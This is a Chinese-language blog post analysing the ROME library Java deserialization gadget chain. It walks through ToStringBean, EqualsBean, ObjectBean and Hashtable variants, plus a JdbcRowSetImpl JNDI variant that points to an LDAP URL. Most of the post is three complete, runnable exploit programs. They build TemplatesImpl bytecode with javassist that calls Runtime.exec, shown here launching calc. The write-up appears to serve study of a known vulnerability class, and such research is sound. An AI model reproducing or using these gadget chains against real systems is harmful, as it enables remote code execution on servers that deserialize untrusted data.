Featured image of post Rome反序列化

Rome反序列化

Rome反序列化

ROME 是一个关于 RSS 和 Atom 格式的 java 框架

它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。

他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。

依赖

1
2
3
4
5
<dependency>  
    <groupId>rome</groupId>  
    <artifactId>rome</artifactId>  
    <version>1.0</version>  
</dependency>

漏洞分析

直接根据yso上面的链子分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

直接看一手这个ToStringBean类

image-20260331202838359

这里这个是有参的,无参那个方法会调用有参这个的,这里首先是调用BeanIntrospector.getPropertyDescriptors方法

image-20260331202943589

拿到class调用getPDs方法

image-20260331203013370

这里拿到class中所有的getter和setter方法之后返回了一个数组

回到前面,getReadMethod方法拿到返回数组中的getter方法,进行判断,不为空,不是Object.class的方法,而且无参就能进判断,调用invoke方法,也就是这里能调用任意getter了,很容易就想到TemplatesImpl.getOutputProperties()

再看这个EqualsBean

image-20260331203755151

这里能直接调用toString方法,所以直接调用ToStringBean的toString,再往上走,查看ObjectBean

image-20260331215747288

但是EqualsBean类本身的hashCode方法就会调用beanhashcode方法

image-20260331215827616

所以完全没必要进这个ObjectBean类

然后这个类还有一个beanEquals方法

image-20260331210753283

跟前面那个toString实现类似,所以这里是有两条链可以打的,一个是ToStringBean链,一个是EqualsBean

ToStringBean

由于这里用到hashmap,还是老问题,序列化的时候会调用put方法导致提前触发,所以这里ToStringBean要先传入空的transformer,这里没用cc依赖所以就没用constantTransformer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class RomeToStringBean {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws  Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        //防止序列化时提前触发
        TemplatesImpl fakeTemplates = new TemplatesImpl();
        ToStringBean toStringBean = new ToStringBean(Templates.class,fakeTemplates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap hashMap = new HashMap();
        hashMap.put(equalsBean,"0d00");
        //反射修改ToStringBean的值回恶意templatesImpl
        setFieldValue(toStringBean,"_obj",templatesImpl);
        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();

    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

同理把EqualsBean换成ObjectBean也是可以的,也就是换一行

1
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

HashTable

如果hashmap被ban,可以换成hashtable绕过

image-20260401220507017

然后调用hashcode了

image-20260401220543358

其实就是最后部分改一下

1
2
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"0d00");

JdbcRowSetImpl

把前面部分改成能jndi注入的就行,其实在看到进行bean操作的时候就想到能打jndi了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class RomeJNDI {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws  Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
        JdbcRowSetImpl jrs = new JdbcRowSetImpl();
        String url = "ldap://10.39.174.188:8085/UeVmNsCs";
        jrs.setDataSourceName(url);
        //防止序列化时提前触发
        TemplatesImpl fakeTemplates = new TemplatesImpl();
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,fakeTemplates);
//        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean,"0d00");
        //反射修改ToStringBean的值回恶意templatesImpl
        setFieldValue(toStringBean,"_obj",jrs);
        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashtable);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();

    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

image-20260401233814825

也是成功弹计算器

EqualsBean

要调用beanequals方法,用到hashmap的equals方法,这里联想到cc7哈希碰撞那里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;

public class RomeEqualsBean {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws  Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        //防止序列化时提前触发
        TemplatesImpl fakeTemplates = new TemplatesImpl();
        HashMap fakeHashMap = new HashMap();
        EqualsBean equalsBean = new EqualsBean(HashMap.class,fakeHashMap);
        HashSet hashSet = new HashSet();
        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        hashMap1.put("zZ", fakeTemplates);
        hashMap1.put("yy", equalsBean);
        hashMap2.put("zZ", equalsBean);
        hashMap2.put("yy", fakeTemplates);
        hashSet.add(hashMap1);
        hashSet.add(hashMap2);
        setFieldValue(equalsBean,"_beanClass",Templates.class);
        setFieldValue(equalsBean,"_obj",templatesImpl);
        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashSet);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}
使用 Hugo 构建
主题 StackJimmy 设计